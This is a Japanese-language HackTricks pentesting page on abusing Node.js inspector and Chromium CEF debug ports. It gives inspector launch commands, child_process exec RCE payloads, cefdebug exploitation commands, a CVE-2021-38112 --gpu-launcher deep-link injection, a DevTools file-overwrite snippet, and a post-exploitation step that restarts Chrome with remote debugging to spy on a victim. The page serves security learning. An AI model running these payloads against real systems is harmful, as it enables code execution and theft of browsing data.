13 KiB
Node inspector/CEF debug abuse
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
基本情報
From the docs: --inspect
スイッチで起動すると、Node.js プロセスはデバッグクライアントを待ち受けます。デフォルトでは、ホストとポート 127.0.0.1:9229
で待ち受けます。各プロセスには ユニーク な UUID も割り当てられます。
インスペクタクライアントは、接続するためにホストアドレス、ポート、および UUID を知って指定する必要があります。完全な URL は ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e
のようになります。
{% hint style="warning" %} デバッガーは Node.js 実行環境への完全なアクセス権を持っているため、このポートに接続できる悪意のあるアクターは、Node.js プロセスの代わりに任意のコードを実行できる可能性があります(潜在的な特権昇格)。 {% endhint %}
インスペクタを起動する方法はいくつかあります:
node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
インスペクトされたプロセスを開始すると、次のようなものが表示されます:
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector
プロセスは、CEF(Chromium Embedded Framework)に基づいており、デバッガを開くためにパラメータ --remote-debugging-port=9222
を使用する必要があります(SSRF保護は非常に似ています)。しかし、NodeJS デバッグセッションを付与する代わりに、Chrome DevTools Protocolを使用してブラウザと通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。
デバッグされたブラウザを起動すると、次のようなものが表示されます:
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
ブラウザ、WebSocket、および同一生成元ポリシー
ウェブブラウザで開かれたウェブサイトは、ブラウザのセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。初期HTTP接続は、ユニークなデバッガセッションIDを取得するために必要です。同一生成元ポリシーは、ウェブサイトがこのHTTP接続を行うことを防ぎます。 DNSリバインディング攻撃に対する追加のセキュリティとして、Node.jsは接続の**'Host'ヘッダーがIPアドレスまたはlocalhost
またはlocalhost6
**を正確に指定していることを確認します。
{% hint style="info" %} このセキュリティ対策は、インスペクタを悪用してコードを実行することを防ぎます。HTTPリクエストを送信するだけで(これはSSRF脆弱性を悪用して行うことができる)、実行されることはありません。 {% endhint %}
実行中のプロセスでインスペクタを起動する
実行中のnodejsプロセスにSIGUSR1信号を送信すると、デフォルトポートでインスペクタを起動させることができます。ただし、十分な権限が必要であるため、これによりプロセス内の情報への特権アクセスが付与される可能性がありますが、直接的な特権昇格にはなりません。
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
{% hint style="info" %}
これはコンテナ内で便利です。なぜなら、--inspect
でプロセスをシャットダウンして新しいものを開始することは選択肢ではないからです。コンテナはプロセスと共に終了します。
{% endhint %}
インスペクタ/デバッガに接続する
Chromiumベースのブラウザに接続するには、ChromeまたはEdgeのそれぞれに対してchrome://inspect
またはedge://inspect
のURLにアクセスできます。Configureボタンをクリックして、ターゲットホストとポートが正しくリストされていることを確認する必要があります。画像はリモートコード実行(RCE)の例を示しています:
コマンドラインを使用して、次のようにデバッガ/インスペクタに接続できます:
node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
ツール https://github.com/taviso/cefdebug は、ローカルで実行されているインスペクタを見つけ、コードを注入することを可能にします。
#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
{% hint style="info" %} 注意してください、NodeJS RCE エクスプロイトは Chrome DevTools Protocol に接続されている場合は機能しません(APIを確認して、興味深いことを見つける必要があります)。 {% endhint %}
NodeJS デバッガー/インスペクターにおける RCE
{% hint style="info" %} もしあなたがここに、Electron の XSS から RCE を取得する方法を探しているなら、このページを確認してください。 {% endhint %}
Node インスペクター に接続できるときに RCE を取得する一般的な方法のいくつかは、(これは Chrome DevTools プロトコルへの接続では機能しないようです)を使用することです:
process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
Chrome DevTools Protocol Payloads
APIはここで確認できます: https://chromedevtools.github.io/devtools-protocol/
このセクションでは、私が人々がこのプロトコルを悪用するために使用した興味深いことをリストします。
Deep Linksによるパラメータインジェクション
CVE-2021-38112で、RhinoセキュリティはCEFに基づくアプリケーションがシステムにカスタムURI(workspaces://)を登録し、完全なURIを受け取り、そのURIから部分的に構成された設定でCEFベースのアプリケーションを起動することを発見しました。
URIパラメータはURLデコードされ、CEF基本アプリケーションを起動するために使用され、ユーザーが**--gpu-launcher
フラグをコマンドラインにインジェクト**し、任意のものを実行できることが判明しました。
したがって、次のようなペイロード:
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
calc.exeを実行します。
ファイルの上書き
ダウンロードしたファイルが保存されるフォルダを変更し、悪意のあるコードでアプリケーションのソースコードを上書きするファイルをダウンロードします。
ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
}));
Webdriver RCEと情報漏洩
この投稿によると: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 RCEを取得し、内部ページをtheriverから情報漏洩させることが可能です。
ポストエクスプロイト
実際の環境で、Chrome/Chromiumベースのブラウザを使用しているユーザーPCを侵害した後、デバッグを有効にしてデバッグポートをポートフォワードすることでChromeプロセスを起動できます。これにより、被害者がChromeで行うすべてを検査し、機密情報を盗むことができます。
ステルスな方法は、すべてのChromeプロセスを終了させ、その後何かを呼び出すことです。
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
参考文献
- https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s
- https://github.com/taviso/cefdebug
- https://iwantmore.pizza/posts/cve-2019-1414.html
- https://bugs.chromium.org/p/project-zero/issues/detail?id=773
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1742
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1944
- https://nodejs.org/en/docs/guides/debugging-getting-started/
- https://chromedevtools.github.io/devtools-protocol/
- https://larry.science/post/corctf-2021/#saasme-2-solves
- https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/
{% hint style="success" %}
AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、練習する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングのトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを送信してください。